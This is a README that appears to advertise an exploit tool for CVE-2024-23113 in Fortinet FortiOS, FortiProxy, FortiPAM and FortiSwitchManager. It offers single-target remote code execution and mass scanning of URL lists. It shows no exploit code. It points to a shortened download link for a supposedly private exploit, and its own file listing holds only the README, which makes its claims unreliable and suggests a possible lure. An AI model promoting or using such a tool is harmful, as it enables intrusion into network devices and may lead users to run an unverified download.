## 🌟 Description
CVE-2024-23113
This vulnerability makes it possible use of externally-controlled format string in Fortinet FortiOS versions 7.4.0 through 7.4.2, 7.2.0 through 7.2.6, 7.0.0 through 7.0.13, FortiProxy versions 7.4.0 through 7.4.2, 7.2.0 through 7.2.8, 7.0.0 through 7.0.14, FortiPAM versions 1.2.0, 1.1.0 through 1.1.2, 1.0.0 through 1.0.3, FortiSwitchManager versions 7.2.0 through 7.2.3, 7.0.0 through 7.0.3 allows attacker to execute unauthorized code or commands via specially crafted packets.
## Details
- **CVE ID**: [CVE-2024-23113](https://nvd.nist.gov/vuln/detail/CVE-2024-23113)
- **Impact**: Confidentiality
- **Exploit Availability**: Not public, only private.
## ⚙️ Installation
To set up the exploitation tool, follow these steps:
1. Download the repository:
|[Download](https://t.ly/dbzye)
|:--------------- |
2. Navigate to the tool's directory:
```bash
CVE-2024-23113
```
3. Install the required Python packages:
```bash
pip install -r requirements.txt
```
## 🚀 Usage
To use the tool, run the script from the command line as follows:
```bash
python exploit.py [options]
```
### Options
- -u, --url:
Specify the target URL or IP address.
- -f, --file:
Specify a file containing a list of URLs to scan.
- -t, --threads:
Set the number of threads for concurrent scanning.
- -o, --output:
Define an output file to save the scan results.
When a single URL is provided with the -u option and the target is vulnerable, the script will attempt to execute arbitrary code.
### Example
```bash
$ python3 exploit.py -u http://target-url.com
[+] Remote code execution triggered successfully.
[!] http://target-url.com is vulnerable to CVE-2024-23113.
```
## 📊 Mass Scanning
For mass scanning, use the -f option with a file containing URLs. The tool will scan each URL and print concise results, indicating whether each target is vulnerable.
```bash
python exploit.py -f urls.txt
```
## 📈 CVSS Information
9.8 CRITICAL
[4.0K] /data/pocs/a72a5d120b5574e355a49fea0fa4741dc0e44f63
└── [1.9K] README.md
0 directories, 1 file